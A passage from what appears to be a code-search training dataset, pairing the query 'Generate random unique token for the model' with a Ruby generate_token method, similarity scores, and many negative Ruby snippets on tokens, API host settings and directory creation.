"def svg\n values = self[0..2].map do |v|\n v = Range.O.trim( v )\n (255.0 * v).to_i \n end\n return \"rgb(#{values.join(\",\")})\"\n end",
"def to_rgb\n [@red, @green, @blue]\n end",
"def round_rgb_color(value)\n if value > 255\n 255\n elsif value < 0\n 0\n else\n value\n end\n end",
"def get_grade(score1, score2, score3)\n\t\n\taverage = (score1 + score2 + score3) / 3\n\n\tcase average\n\t\twhen (90...)\n\t\t\t'A'\n\t\twhen (80..89)\n\t\t\t'B'\n\t\twhen (70..79)\n\t\t\t'C'\n\t\twhen (60..69)\n\t\t\t'D'\n\t\twhen (0..59)\n\t\t\t'F'\n\tend\nend",
"def colors_for(i, j)\n mode = :default\n if [i, j] == @cursor\n bg = @board.piece_in_hand.is_a?(NullPiece) ? :yellow : :light_blue\n # mode = :blink\n # elsif @board.piece_in_hand.filter_moves.include?([i,j])\n # bg = :white\n elsif (i + j).odd?\n bg = :white\n bg = :green if highlight && @board.piece_in_hand.filter_moves.include?([i,j])\n elsif (i + j).even?\n bg = :light_white\n bg = :light_green if highlight && @board.piece_in_hand.filter_moves.include?([i,j])\n end\n\n { background: bg, color: :black, mode: mode } #@board[[i, j]].color\n end",
"def get_expected_scores \n answer = [] \n scores = self.expected_score\n i = 0\n while i < scores.length\n s = scores[i, 4]\n answer.push(s.unpack('4f')[0])\n i += 4\n end \n return answer \n end",
"def colors_from_hash(match, hash)\n match[0] = mode(hash[:mode]) if mode(hash[:mode])\n match[1] = color(hash[:color]) if color(hash[:color])\n match[2] = background_color(hash[:background]) if background_color(hash[:background])\n end",
"def get_color(rating)\n colors = {\n 10 => '#00cc00',\n 9 => '#33cc99',\n 8 => '#66ff99',\n 7 => '#99ffff',\n 6 => '#9999ff',\n 5 => '#cc99ff',\n 4 => '#ff66cc',\n 3 => '#ff6699',\n 2 => '#ff3366',\n 1 => '#ff0000',\n }\n return colors[rating]\n end",
"def rgb_color\n Array.new(3) { single_rgb_color }\n end",
"def match_ranking(og, fg, abv, ibu, color)\n rank_attr(og, og_min, og_max) +\n rank_attr(fg, fg_min, fg_max) +\n rank_attr(abv, abv_min, abv_max) +\n rank_attr(ibu, ibu_min, ibu_max) +\n rank_attr(color, color_min, color_max)\n end",
"def color_from_symbol(match, symbol); end",
"def rgb_true(red, green, blue)\n \";2;#{red};#{green};#{blue}\"\n end",
"def colour_association(array)\n array.map{|pair| Hash[pair.first, pair.last]}\nend",
"def rgb(r, g, b)\n \"#{to_hex r}#{to_hex g}#{to_hex b}\"\nend"
] |
[
"0.6585143",
"0.64540607",
"0.64525515",
"0.6397052",
"0.6172393",
"0.6146491",
"0.61367965",
"0.61096257",
"0.60897267",
"0.59990287",
"0.5975819",
"0.59694016",
"0.59386694",
"0.5934119",
"0.58882684",
"0.5876459",
"0.5805941",
"0.5764289",
"0.5736834",
"0.5735293",
"0.57079697",
"0.5699731",
"0.56975895",
"0.5691781",
"0.5685948",
"0.56823754",
"0.5676002",
"0.5675059",
"0.56668764",
"0.5666479",
"0.5660091",
"0.565725",
"0.56564444",
"0.565525",
"0.56530833",
"0.5620199",
"0.56178147",
"0.56168145",
"0.56091297",
"0.5596037",
"0.5590074",
"0.558449",
"0.55556667",
"0.5541731",
"0.5541731",
"0.5525023",
"0.55077183",
"0.5501538",
"0.5499994",
"0.5486603",
"0.5468778",
"0.54561585",
"0.54484606",
"0.5445812",
"0.5444972",
"0.5433522",
"0.543063",
"0.5420011",
"0.5419962",
"0.5408402",
"0.5404941",
"0.54015946",
"0.53957427",
"0.53915536",
"0.5390817",
"0.5390443",
"0.5387398",
"0.5378855",
"0.5375433",
"0.53646445",
"0.5362967",
"0.535683",
"0.53413534",
"0.5337102",
"0.53293115",
"0.5320327",
"0.5318244",
"0.53028715",
"0.5299471",
"0.52966744",
"0.5296111",
"0.5293254",
"0.5293254",
"0.5287354",
"0.5284275",
"0.52818465",
"0.52798957",
"0.5279817",
"0.52745146",
"0.52731305",
"0.5270061",
"0.5261411",
"0.52601725",
"0.5255532",
"0.5254402",
"0.5247818",
"0.5247667",
"0.5246776",
"0.5244597",
"0.5242921"
] |
0.69518447
|
0
|
Generate random unique token for the model
|
def generate_token
self.token = loop do
random_token = SecureRandom.base58(UID_LENGTH)
break random_token unless Session.exists?(token: random_token)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_token\n self.token = UniqueToken.generate\n end",
"def generate_token\n UUIDTools::UUID.random_create.to_s\n end",
"def generate_token\n self.token = SecureRandom.hex if new_record?\n end",
"def generate_token!\n self.token = SecureRandom.hex\n save!\n end",
"def generate_token\n self.token ||= SecureRandom.hex(16)\n end",
"def generate_random_token\n #generates a random hex string of length 5\n unless self.random_token\n self.random_token = SecureRandom.hex(5)\n end\n end",
"def generate_token\n self.token ||= Base64.urlsafe_encode64(SecureRandom.random_bytes(12))\n end",
"def generate_token\n\t\tself.token = SecureRandom.hex\n end",
"def generate_token\n token_gen = SecureRandom.hex\n self.token = token_gen\n token_gen\n end",
"def generate_token\n self.perishable_token = Digest::MD5.hexdigest(\"#{Time.now}\")\n end",
"def generate_token\n unless self.token\n self.token = loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless User.exists?(token: random_token)\n end\n self.save\n end\n end",
"def random_token\n SecureRandom.hex(20)\n end",
"def generate_token\n SecureRandom.hex(10)\n end",
"def generate_random_token\n SecureRandom.hex(15)\n end",
"def generate_token\n self.token = SecureRandom.urlsafe_base64\n end",
"def generate_token\n self.update({:token => SecureRandom.hex})\n end",
"def random_token\n 32.times.map{ rand(36).to_s(36) }.join # 32 alphanumeric characters\n end",
"def generate_token\n #Token.generate_token(self.id)\n end",
"def generate_token\n loop do\n token = SecureRandom.base64(44).tr(\"+/=\", \"xyz\").first(16).upcase\n break token unless self.class.where(:token => token).first\n end\n end",
"def generate_token\n self.token = SecureRandom.base64(64)\n end",
"def generate_token\n if self.token.blank?\n self.id = self.token = UniqueToken.generate\n end\n end",
"def generate_token!\n new_token = User.unique_random(field_name: 'api_token')\n update_column(:api_token, new_token)\n end",
"def generate_token\n\t\tUUIDTools::UUID.timestamp_create.to_s\n\tend",
"def generate_token\n self.token = Digest::SHA1.hexdigest([self.workplace_id, self.institute.id, Time.now, rand].join)\n end",
"def random_token\n SecureRandom.urlsafe_base64\n end",
"def generate_token\n SecureRandom.hex(64)\nend",
"def generate_token\n self.token ||= loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless self.class.exists?(token: random_token)\n end\n end",
"def save_token\n self.token = SecureRandom.uuid unless self.token\n end",
"def set_token\n self.token ||= SecureRandom.uuid.gsub(/\\-/, '').first(5).upcase\n end",
"def generate_token\n self.email_token = SecureRandom.hex(3)\n self.mobile_token = SecureRandom.hex(3)\n end",
"def make_token\n secure_digest(Time.now, (1..10).map{ rand.to_s })\n end",
"def token\n return self[:token] if self[:token] # <- Will not generate a token more than once.\n begin\n byte_string = [self.user_id, rand(2**32)].pack('L*') << rand(256)\n self[:token] = Base64.urlsafe_encode64(byte_string)\n end while UserAuthToken.exists?(token: self[:token])\n end",
"def generate_token\n @token = SecureRandom.base58(10)\n self.update(token: @token)\n end",
"def token\n @token ||= \"%x-%s\" % [ Time.now.to_i, SecureRandom::hex(4) ]\n end",
"def assign_unique_token\n unless(self.token)\n begin\n self.token = rand(36**8).to_s(36).downcase # a-z \n end while self.class.exists?(:token => token)\n end\n end",
"def generate_token\n SecureRandom.urlsafe_base64.tap do |token|\n logger.debug \"Generated token #{token}\"\n end\n end",
"def rand_token\n\t\ttok = rand(36**8).to_s(36)\n\t\tif tok.length < 8\n\t\t\trand_token\n\t\telse\n\t\t\ttok\n\t\tend\n\tend",
"def generate_token\n self.token = Digest::MD5.hexdigest(\"PersonRecordToken#{email}#{Rails.application.config.try(:hash_salt)}\")[0..254]\n end",
"def populate_token\n if new_record? && self.token.nil?\n self.token = SecureRandom.uuid().to_s.last(8)\n while check_token?(self.token) == true\n self.token = SecureRandom.uuid().to_s.last(8)\n end\n end\n end",
"def new_token\n \t\tSecureRandom.urlsafe_base64\n \tend",
"def token_id\n SecureRandom.random_bytes(16).bytes.to_a\n end",
"def regenerate\n self.token = UUIDTools::UUID.random_create.to_s\n reset_timer\n self.token\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def generate_token\n self.token = loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless Organization.exists?(token: random_token)\n end\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n\t\tSecureRandom.urlsafe_base64\n\tend",
"def generate_auth_token\n begin\n token = SecureRandom.hex\n end while AuthToken.exists?(auth_token: token)\n self.auth_tokens.create(auth_token: token)\n token\n end",
"def generate_auth_token\n\t token = SecureRandom.hex\n\t #self.update_columns(token_key: token)\n\t token\n\t end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def new_token\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def new_token\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def new_token\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def new_token\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def new_token\n SecureRandom.urlsafe_base64\nend",
"def create_token\n if self.token.nil?\n self.token = loop do\n random_token = \"BON-#{SecureRandom.uuid.split('-').first}\"\n break random_token unless self.class.exists?(token: random_token)\n end\n end\n end",
"def friendly_token\n SecureRandom.base64(32).tr('+/=lIO0', 'pqrsxyz')\n end",
"def generate_token\n begin\n self.token = Digest::SHA1.hexdigest([Time.now, rand].join)\n end while Invitation.exists?(:token => self.token)\n end",
"def generate_token\n begin\n self[:auth_token] = SecureRandom.urlsafe_base64\n end while User.exists?(:auth_token => self[:auth_token])\n end",
"def generate_token\n # Repeat method until unique token is found\n self.token = loop do\n random_token = (Digest::MD5.hexdigest \"#{SecureRandom.hex(10)}-#{DateTime.now.to_s}\")[1..16]\n break random_token unless Bar.where(token: random_token).exists?\n end\n end",
"def generate_registration_token\n candidate_token = nil\n\n while candidate_token.nil?\n candidate_token = SecureRandom.hex(3).upcase\n candidate_token = nil unless Device.find_by(registration_token: candidate_token).nil?\n end\n\n self.registration_token = candidate_token\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n \t SecureRandom.urlsafe_base64\n \tend",
"def make_token\r\n # From the restful-authentication plug-in\r\n args = [ Time.now, (1..10).map{ rand.to_s } ]\r\n Digest::SHA1.hexdigest(args.flatten.join('--'))\r\n end",
"def generate_auth_token\n self.auth_token = SecureRandom.hex\n end",
"def unique_token\n token = random_string\n loop do\n break unless Coupon.match_token?(token)\n token = random_string\n end\n token\n end",
"def gen_token()\n used_tokens = []\n @data.records.each() { |r| used_tokens << r.token }\n\n free_tokens = @data.tokens - used_tokens\n\n srand\n free_tokens[rand(free_tokens.length)]\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def nuevo_token # Igual - Modo ExtraConfuso\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def generate_csrf_token\n SecureRandom.hex(32)\n end",
"def generate_auth_token\n token = SecureRandom.hex\n self.update_columns(auth_token: token)\n token\n end",
"def generate_token\n self.token = custom_token.presence || SecureRandom.hex(3)\n self.custom_token = nil\n generate_token if AliasedLink.exists?(token: token)\n end",
"def set_token\n self.token = SecureRandom.hex(16)\n end",
"def set_token\n self.token = SecureRandom.hex(16)\n end",
"def generate_token\n self.card_token = SecureRandom.uuid unless card_token && card_token.length > 0\n end",
"def get_random_identifier\n SecureRandom.hex\n end",
"def generate_email_token\n self[:email_token] = SecureRandom.hex(4)\n end",
"def generate_token\n self.apply_code = \"#{SecureRandom.hex(4)}\"\n self.act_status_type_id = 2\n end",
"def generate_token(size)\n validity = Proc.new {|token| Token.where(:token => token).first.nil?}\n\n begin\n token = SecureRandom.hex(size)[0, size]\n token = token.encode(\"UTF-8\")\n end while validity[token] == false\n\n token\n end",
"def create_token\n token = SecureRandom.hex(10) #on crée un token de 10 caractères au hasard\n self.token = token #affectation du token à la candidature\n self.save\n end",
"def generate_authentication_token\n SecureRandom.hex(8)\n end",
"def generate_token\n\t\tself.token = loop do\n\t\t\trandom_token = SecureRandom.urlsafe_base64(nil, false)\n\t\t\tbreak random_token unless Invite.exists?(token: random_token)\n\t\tend\n\tend",
"def init_token\n self.token = SecureRandom.hex(64) if self.token.blank?\n end",
"def generate_token\n o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten\n token = (0...50).map { o[rand(o.length)] }.join\n return token\n end"
] |
[
"0.8457368",
"0.8455425",
"0.83874255",
"0.8278362",
"0.8253664",
"0.8136916",
"0.80688334",
"0.8067104",
"0.8063123",
"0.80224055",
"0.8009095",
"0.8007525",
"0.7977554",
"0.79563254",
"0.79373723",
"0.79324937",
"0.792361",
"0.79143894",
"0.78944105",
"0.7869692",
"0.7868107",
"0.781983",
"0.77962285",
"0.7796028",
"0.7789443",
"0.7784741",
"0.7761777",
"0.77476525",
"0.7715661",
"0.7700573",
"0.7669556",
"0.76466227",
"0.7632522",
"0.7616983",
"0.7614918",
"0.7610446",
"0.76069856",
"0.75054276",
"0.7477359",
"0.7463756",
"0.74413455",
"0.7440814",
"0.7435254",
"0.7435254",
"0.7435254",
"0.7433223",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7419649",
"0.7406054",
"0.74025077",
"0.73992",
"0.73972267",
"0.73965126",
"0.73965126",
"0.73965126",
"0.73965126",
"0.73965126",
"0.73952687",
"0.73948705",
"0.73888767",
"0.7380143",
"0.7368952",
"0.7361587",
"0.7353946",
"0.73481816",
"0.734538",
"0.7342486",
"0.73366386",
"0.733414",
"0.73320264",
"0.7325192",
"0.7313044",
"0.72862077",
"0.7273086",
"0.7263232",
"0.72335756",
"0.72335756",
"0.721464",
"0.72099066",
"0.7204848",
"0.7200662",
"0.71949095",
"0.71894056",
"0.7183561",
"0.71616805",
"0.7155362",
"0.71524715"
] |
0.7638131
|
32
|
Set the correct api_host for US/EU
|
def region(region)
if(region.to_s == 'us')
config['api_host'] = US_API_HOST
elsif(region.to_s == 'eu')
config['api_host'] = EU_API_HOST
else
raise "Region Unknown"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def host=(value)\n conf['api']['host'] = value\n end",
"def host\n conf['api']['host']\n end",
"def api_host #:nodoc:\n API_URI\n end",
"def host(host)\n @api.host = host\n end",
"def host\n @host ||= 'api.postmarkapp.com'\n end",
"def host\n @host || \"https://api.digitalriver.com/\"\n end",
"def host\n @host || Sapience.config.host\n end",
"def api_host\n uri = api_uri\n host, port = uri.host, uri.port\n\n port == 80 ? uri.host : \"#{uri.host}:#{uri.port}\"\n end",
"def api_endpoint=(value)\n @api_endpoint = value\n end",
"def init\n Biilabs.configuration do |config|\n config.host = SET_HOST_URL_HERE_HERE\n end\nend",
"def api_base_url; @opts[:api_base_url]; end",
"def api(params = {})\n Celluloid::Logger.info \"Registering api...\"\n self.use_api = true\n self.api_host = params[:host] || '127.0.0.1'\n self.api_port = params[:port] || '4321'\n end",
"def default_url_options\n { host: ScihistDigicoll::Env.lookup!(:app_url_base) }\n end",
"def region=(region)\n if(region.to_s == \"us\")\n self.api_host = US_API_HOST\n elsif(region.to_s == \"eu\")\n self.api_host = EU_API_HOST\n else\n raise \"Region Unknown\"\n end\n end",
"def api_endpoint\n @api_endpoint ||= DEFAULT_API_ENDPOINT\n end",
"def api(options = {})\n @api ||= case url.host\n when String then RestClient::Resource.new(url.host, options)\n else RestClient::Resource.new(API_ENDPOINT.host, options)\n end\n end",
"def api_endpoint\n case current_user.environment\n when 'int', 'integration'\n 'http://newapi.int.brandwatch.com'\n when 'rel', 'release', 'stage'\n 'http://newapi.rel.brandwatch.com'\n else\n 'http://newapi.brandwatch.com'\n end\n end",
"def api_url\n @api_url ||=\"#{base_url}#{@options['api_url']}\"\n end",
"def default_url_options\n {\n host: ScihistDigicoll::Env.lookup(:app_url_base)\n }\n end",
"def api_endpoint\n @api_endpoint ||= ENDPOINTS[:sandbox][:api]\n end",
"def feeligo_api_hostname\n @opts[:feeligo_api_hostname] || if protocol.to_s == 'https'\n 'stickersapissl.feeligo.com'\n else\n 'stickersapi.feeligo.com'\n end\n end",
"def host\n \"http://api.lvh.me:3000\"\n end",
"def api_url\n @api_url || DEFAULT_API_URL\n end",
"def api_domain\n 'api.' + base_domain\n end",
"def api_endpoint\n Solusvm.api_endpoint.dup\n end",
"def host\n # find host in opts first\n host = options[:host] || @configuration['host']\n host = 'http://api.unipept.ugent.be' if host.nil? || host.empty?\n\n # add http:// if needed\n if host.start_with?('http://', 'https://')\n host\n else\n \"http://#{host}\"\n end\n end",
"def set_url_host \n @url_host = request.protocol() + request.host_with_port() + '/' \n end",
"def api_url\n \"#{protocol}://api:#{api_key}@#{host}/#{api_version}\"\n end",
"def api_url\n @api_url ||= URI.parse(::File.join(base_url, endpoint))\n end",
"def api_url\n @api_url || DEFAULT_API_URL\n end",
"def host\n \"https://api.monzo.com/\"\n end",
"def set_host host\n @host = host\n end",
"def uri\n URI.parse(\"#{@host || DEFAULT_HOST}:#{@port || DEFAULT_PORT}/api\")\n end",
"def default_url_options\n { host: ENV['HOST'] || 'localhost:3000' }\n end",
"def host; config[:host]; end",
"def api_uri\n @api_uri ||= URI(api_url)\n end",
"def default_url_options\n { host: ENV[\"HOST\"] || \"localhost:3000\" }\n end",
"def default_url_options\n { host: ENV[\"HOST\"] || \"localhost:3000\" }\n end",
"def default_url_options\n { host: ENV[\"HOST\"] || \"localhost:3000\" }\n end",
"def default_url_options\n { host: ENV[\"HOST\"] || \"localhost:3000\" }\n end",
"def api_domain_ssl\n environment == 'development' ? api_domain : \"#{environ.to_s}-supercore-api.herokuapp.com\"\n end",
"def api_uri\n @api_uri ||= URI.parse(api_endpoint)\n end",
"def api_url\n @api_url ||= \"https://api.neverbounce.com\"\n end",
"def set_api_url(url)\n @api_url = url\n end",
"def host\n 'petstore.swagger.io'\n end",
"def mock_host\n mock_host = (ENV['MOCK_HOST'].nil?) ? 'esu2v871' : ENV['MOCK_HOST']\n end",
"def initialize_api_endpoint\n if PrMigrator.configuration.github_enterprise_endpoint\n Octokit.configure do |c|\n c.api_endpoint = PrMigrator.configuration.github_enterprise_endpoint\n end\n end\n end",
"def api_prefix\n @api_url || DEFAULT_API_PREFIX\n end",
"def set_endpoint\n if ambiente == :producao\n return GetnetApi::Configure::URL[:producao]\n elsif ambiente == :homologacao\n return GetnetApi::Configure::URL[:homologacao]\n else\n return GetnetApi::Configure::URL[:sandbox]\n end\n end",
"def initialize\n self.api_root = BASE_URL\n end",
"def host=(value)\n conf['dashboard']['host'] = value\n end",
"def api_base=(value)\n @api_base = value\n end",
"def api_base=(value)\n @api_base = value\n end",
"def host\n @host ||= 'http://open.denglu.cc'\n end",
"def base_url\n @is_sub_env_specific ? \"#{GlobalConstant::CompanyApi.root_url}#{GlobalConstant::Environment.url_prefix}/api/\"\n : \"#{GlobalConstant::CompanyApi.root_url}api/\"\n end",
"def set_base_url(num = 0)\n return nil if num >= @api_servers.size\n @base_url = @api_servers[num]\n end",
"def ensure_site_host_setup\n @site_host = \"localhost:3000\"\n @site_host = Rails.application.routes.default_url_options[:host] ||= @site_host\n end",
"def tenancy_host\n ld_api ? ld_api.tenancy_host : nil\n end",
"def default_url_options\n { host: ENV[\"DOMAIN\"] || \"localhost:3000\" }\n end",
"def api_url\n authentication_credentials_provided? ? \"https://api.gowalla.com\" : \"http://api.gowalla.com\"\n end",
"def host\n @host || HOST_PRODUCTION\n end",
"def set_host(v)\n @host = v\n end",
"def api_url(url = '')\n configuration.api_base + url\n end",
"def initialize(client_api_key, user_api_key, host)\n endpoint_uri = \"https://#{host}/api/v1\"\n self.class.base_uri(endpoint_uri)\n\n auth_string = \"Rev #{client_api_key}:#{user_api_key}\"\n @default_headers = {\n 'Authorization' => auth_string,\n 'User-Agent' => USER_AGENT # to track usage of SDK\n }\n end",
"def api_uri\n raise Exceptions::BadlyConfigured.new if @api_uri.empty? || @api_uri.nil? || @api_uri == '/'\n @api_uri\n end",
"def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end",
"def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end",
"def host=(_); end",
"def bc_api_url\n ENV['BC_API_ENDPOINT'] || 'https://api.bigcommerce.com'\nend",
"def baseURL\n Rails.env.development? ? GeventAnalysis::Application::CONSTS[:dev_host] : GeventAnalysis::Application::CONSTS[:app_host]\n end",
"def url\n @url || API_ENDPOINT\n end",
"def api_url\n @api_url ||= URI.parse(\"#{super}?#{URI.encode_www_form(query_params)}\")\n end",
"def platform_endpoint=(_arg0); end",
"def server\n uri = \"#{options[:use_ssl] ? \"https\" : \"http\"}://#{Blupee.config.api_server}\"\n end",
"def initialize(api_key, delivery_token, environment, options={})\n @region = options[:region].nil? ? Contentstack::Region::US : options[:region]\n @host = options[:host].nil? ? get_default_region_hosts(@region) : options[:host]\n API.init_api(api_key, delivery_token, environment, @host)\n end",
"def build_host\n host = @host_value || base_value.host\n raise UnresolvableResourceError, 'no HTTP host specified' if host.blank?\n host\n end",
"def platform_endpoint; end",
"def api\n {\n 'host' => self['apiHost'],\n 'password' => self['apiPassword'],\n 'path' => self['apiPath'],\n 'port' => self['apiPort'],\n 'protocol' => self['apiProtocol'],\n 'username' => self['apiUsername']\n }\n end",
"def host\n default_url_options[:host]\n end",
"def uri_host; end",
"def config(api_id, api_key, options={})\n @api_id = api_id\n @api_key = api_key\n @api_endpoint = URI.parse(options.delete(:url))\n @api_options = options\n end",
"def config(api_id, api_key, options={})\n @api_id = api_id\n @api_key = api_key\n @api_endpoint = URI.parse(options.delete(:url))\n @api_options = options\n end",
"def host_for_test\n if @controller.nil?\n ::AppConfig.host.sub('http://', '')\n else\n @controller.send(:default_url_options, nil)[:host]\n end\n end",
"def set_api\r\n api = EVEAPI::API.new\r\n api.api_id = api_key.api_id\r\n api.v_code = api_key.v_code\r\n api.character_id = id\r\n api\r\n end",
"def host=(host)\n @uri = host.is_a?(::URI) ? host : ::URI.parse(host)\n reset_http_client!\n @uri\n end",
"def pull_request_host\n\t\tpull_request_where == 'jackrabbit' ? ALF_CFG['host'] : ALF_CFG[\"cedar_host\"]\n\tend",
"def api_uri\n options.endpoint\n end",
"def host_url\n Rails.application.routes.default_url_options[:host] || Spree::Store.current.url\n end",
"def main_site_host\n case Rails.env\n when 'development'\n # '192.168.1.140' # to test in ie\n # 'ngoaidmap.dev'\n 'iom.dev'\n when 'test'\n 'example.com'\n when 'staging'\n Settings.main_site_host\n when 'production'\n Settings.main_site_host\n end\n end",
"def api_url\n @sandbox ? \"http://api.sandbox.freelancer.com\":\"http://api.freelancer.com\"\n end",
"def base_url\n URI::HTTPS.build(host: @server, port: @port, path: @api)\n end",
"def host_with_port\n WaterManager.singleton.http_host\n end",
"def host\n @host ||= Chimps.config[:catalog][:host]\n end",
"def host\n 'localhost'\n end",
"def base_url\n BASE_URL.dup % [\"%s\", \"%s\", @api_key, \"%s\"] \n end",
"def api_url\n api_key? ? base_url.concat(api_query_parameter) : base_url\n end",
"def host; end",
"def host; end",
"def host; end"
] |
[
"0.7726354",
"0.7395114",
"0.7252886",
"0.7113536",
"0.6820745",
"0.68007284",
"0.67744684",
"0.672256",
"0.6692382",
"0.6591938",
"0.65051657",
"0.64917684",
"0.6483513",
"0.6470143",
"0.64450777",
"0.6434192",
"0.6424697",
"0.64147395",
"0.6388952",
"0.6363906",
"0.6338501",
"0.63356316",
"0.63314146",
"0.63211477",
"0.63189924",
"0.6311609",
"0.6284853",
"0.62734336",
"0.62458074",
"0.6242751",
"0.6235459",
"0.6198096",
"0.6193086",
"0.6184479",
"0.61591554",
"0.6153297",
"0.61441064",
"0.61441064",
"0.61441064",
"0.61441064",
"0.6137734",
"0.6126229",
"0.6117264",
"0.6113533",
"0.61121607",
"0.609899",
"0.60884774",
"0.6063749",
"0.6059399",
"0.60089386",
"0.599691",
"0.5995774",
"0.5995774",
"0.59944993",
"0.59925854",
"0.5948513",
"0.5937635",
"0.5937356",
"0.59359056",
"0.5928532",
"0.59073895",
"0.5898229",
"0.58967364",
"0.58947015",
"0.58945453",
"0.5869524",
"0.5869524",
"0.58669573",
"0.58651346",
"0.58609897",
"0.58580357",
"0.5856786",
"0.58541584",
"0.583747",
"0.5827072",
"0.58214945",
"0.5813359",
"0.5809936",
"0.58061713",
"0.5784313",
"0.5780174",
"0.5780174",
"0.5778568",
"0.57720447",
"0.57715404",
"0.5766395",
"0.5758698",
"0.5754344",
"0.5751898",
"0.5746933",
"0.5741722",
"0.57377535",
"0.5737627",
"0.5734082",
"0.5731983",
"0.5728566",
"0.572676",
"0.572676",
"0.572676"
] |
0.67583525
|
8
|
Create the hierarchy of directories based on API namespaces
|
def __create_directories(key, value)
return if value['documentation']
empty_directory @output.join(key)
create_directory_hierarchy * value.to_a.first
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_base_dirs\n BASE_DIR.each do |dir|\n FileUtils.mkdir \"#{@project_name}/#{dir}\"\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{dir}\"\n end\n FileUtils.mkdir \"#{@project_name}/app/apis/#{@project_name}\"\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\tapp/apis/#{@project_name}\"\n end",
"def create_namespace\n path = namespace_path\n Dir.mkdir(path) unless Dir.exist?(path)\n end",
"def build_namespace_hierarchy(namespace)\n namespace_hierarchy(namespace).each do |subnamespace|\n @current_i_namespace = INamespace.create(:unique_name => \"#{@current_i_namespace.unique_name}\\\\#{subnamespace.text}\",\n :name => subnamespace.text,\n :parent_i_namespace => @current_i_namespace)\n end\n end",
"def gen_sub_directories\n @outputdir.mkpath\n end",
"def create_directories\n directory '.', './'\n end",
"def gen_sub_directories\n\t\t@outputdir.mkpath\n\tend",
"def gen_sub_directories\n\t\t@outputdir.mkpath\n\tend",
"def set_up!\n return if set_up?\n settings.namespaces.each do |ns|\n path = make_path(ns)\n if !Dir.exists?(path) then\n settings.logger.debug(\"Creating dir #{path}\")\n FileUtils.mkdir_p(path)\n end\n end\n end",
"def __create_directories(key, value)\n unless value['documentation']\n empty_directory @output.join(key)\n create_directory_hierarchy *value.to_a.first\n end\n end",
"def gen_sub_directories\n FileUtils.mkdir_p RDoc::Generator::FILE_DIR\n FileUtils.mkdir_p RDoc::Generator::CLASS_DIR\n rescue\n $stderr.puts $!.message\n exit 1\n end",
"def gen_sub_directories\n FileUtils.mkdir_p RDoc::Generator::FILE_DIR\n FileUtils.mkdir_p RDoc::Generator::CLASS_DIR\n rescue\n $stderr.puts $!.message\n exit 1\n end",
"def mkdirs\n if (not exists?)\n parent.mkdirs\n factory.system.mkdir @path\n end\n end",
"def create_folders_for full_path\n full_path = File.dirname(full_path)\n\n return if File.directory?(full_path) || [\"/\", \".\"].include?(full_path)\n create_folders_for(full_path)\n Dir::mkdir(full_path)\n end",
"def make_app_structure where\n %w(releases shared/config shared/system).each do |dir|\n mkdir File.join(where, dir), :owner => DEFAULT_IDENTITY\n end\n end",
"def create\n create_directories\n end",
"def new_dirs; end",
"def create_user_directories\n #Directories\n avatar = \"#{Rails.root}/data/avatars/#{resource.id}\"\n push = \"#{Rails.root}/data/push/#{resource.id}\"\n passes = \"#{Rails.root}/data/passes/#{resource.id}\"\n coredata = \"#{Rails.root}/data/coredata/#{resource.id}\"\n #Avatar Upload Pictures\n Dir.mkdir(avatar) unless File.exists?(avatar)\n #Push Notification Certificates\n Dir.mkdir(push) unless File.exists?(push)\n #Avatar Passbook\n Dir.mkdir(passes) unless File.exists?(passes)\n #Core Data\n Dir.mkdir(coredata) unless File.exists?(coredata)\n end",
"def create_directories\n begin\n FileUtils.mkdir_p @root unless File.exist? @root\n FileUtils.chmod(0700, @root)\n CHILD_DIRS.each do |child|\n FileUtils.mkdir_p(\"#{@root}/#{child}\") unless File.exist?(\"#{@root}/#{child}\")\n FileUtils.chmod(0700, \"#{@root}/#{child}\")\n end\n FileUtils.chown_R(OWNER, GROUP, @root)\n rescue Exception => e\n p e.message\n p e.backtrace.inspect\n end\n end",
"def make_app_directories\n @shell.call \"mkdir -p #{self.directories.join(\" \")}\"\n end",
"def retrieve_dirs(_base, dir, dot_dirs); end",
